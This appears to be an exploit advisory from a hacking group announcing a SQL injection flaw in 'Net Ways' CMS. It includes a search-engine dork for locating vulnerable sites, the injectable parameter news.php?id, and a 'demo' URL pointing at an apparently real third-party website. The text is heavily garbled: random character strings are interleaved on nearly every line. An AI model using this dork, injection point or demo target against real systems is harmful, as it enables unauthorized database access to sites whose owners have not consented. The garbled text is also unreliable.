################################################################################??######## $ {- L. N8 U7 U( S# c8 d. G) P6 B
#
8 @- r8 H3 V: u2 r/ d# Exploit Title : Net Ways Cms Sql Injection Vulnerability 0 }: B1 w5 q ?8 x
# 7 d" d7 t! Z2 t Q5 r1 X
# Author : IrIsT.Ir
' j- E# F0 o4 k* {0 x% V% Q#
, o* w! W+ O- ^ Q" r, O% c# Discovered By : Am!r " i+ R$ |9 i6 J8 x8 Z2 p2 q: U0 g: l
# ! V. K6 t. Z$ @7 P6 d7 Q9 c
# Home : http://IrIsT.Ir/forum
9 w: c3 c6 ~* v/ h( u. f# 4 k& C( d; a9 \0 H0 ~1 a9 A' u
# Software Link : http://www.netways.com/ www.political-security.com
" |% W9 t* D$ s2 Z/ J3 l# 8 x( l K5 k% V3 @
# Security Risk : High * W7 ]- L2 \2 M( v0 ]9 _6 q
#
# s: r5 ?! D d9 _% t7 L# Version : All Version ( k6 O' r9 C5 k6 a8 Q( S k' ]1 m$ {
# 7 U8 Q" g$ |. q
# Tested on : GNU/Linux Ubuntu - Windows Server - win7 * r, d( X3 @, M
# 1 O2 N) U* B$ _- O
# Dork : intext:"Designed & developed by NetWays" : c$ }( j; s; |. m$ O
# : A1 y" e8 H0 f i* Q8 z
################################################################################??######## 5 \+ V4 J |6 W3 c7 n- Q/ t f& H9 d
# . f$ y4 G: b+ L' d+ U7 U% J
# Expl0iTs :
9 r- o* d2 Q# d. p% P$ ~/ _9 Z/ C: ^# ; h/ M% V, T! U( z; A9 p
# http://target.com/news.php?id=[Sql] 2 R) C( h# m- ~4 b( P
#
% [- |. ~- A9 Q" w- g+ c5 N# / e ^4 M3 }5 s4 G; O2 W& f
# D3mo :
# X! r/ A8 w4 v! M& `#
: V( W3 G3 [" M# http://compagnieparento.com/news.php?id=7[Sql] 8 N5 l' T& g! Q
#
" v% G$ a0 f, Z1 m# q' ?1 [" J################################################################################??######## 4 c+ m1 c; `2 S6 I+ T$ H( w
#
, c; k! f0 A3 l! ~+ Q0 @0 g2 d# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r $ Q8 F# B9 S# P0 J* a. F
#
4 U& o/ ]- W" Q4 ]; B: Z" r# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r % i# p8 n$ g+ M/ c9 _2 b
# 8 r1 W1 u- p4 m& V6 M. l
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum / F" g' q+ ?2 x5 p
# 7 r9 { T7 ~7 h* u6 Q! q
################################################################################??######## |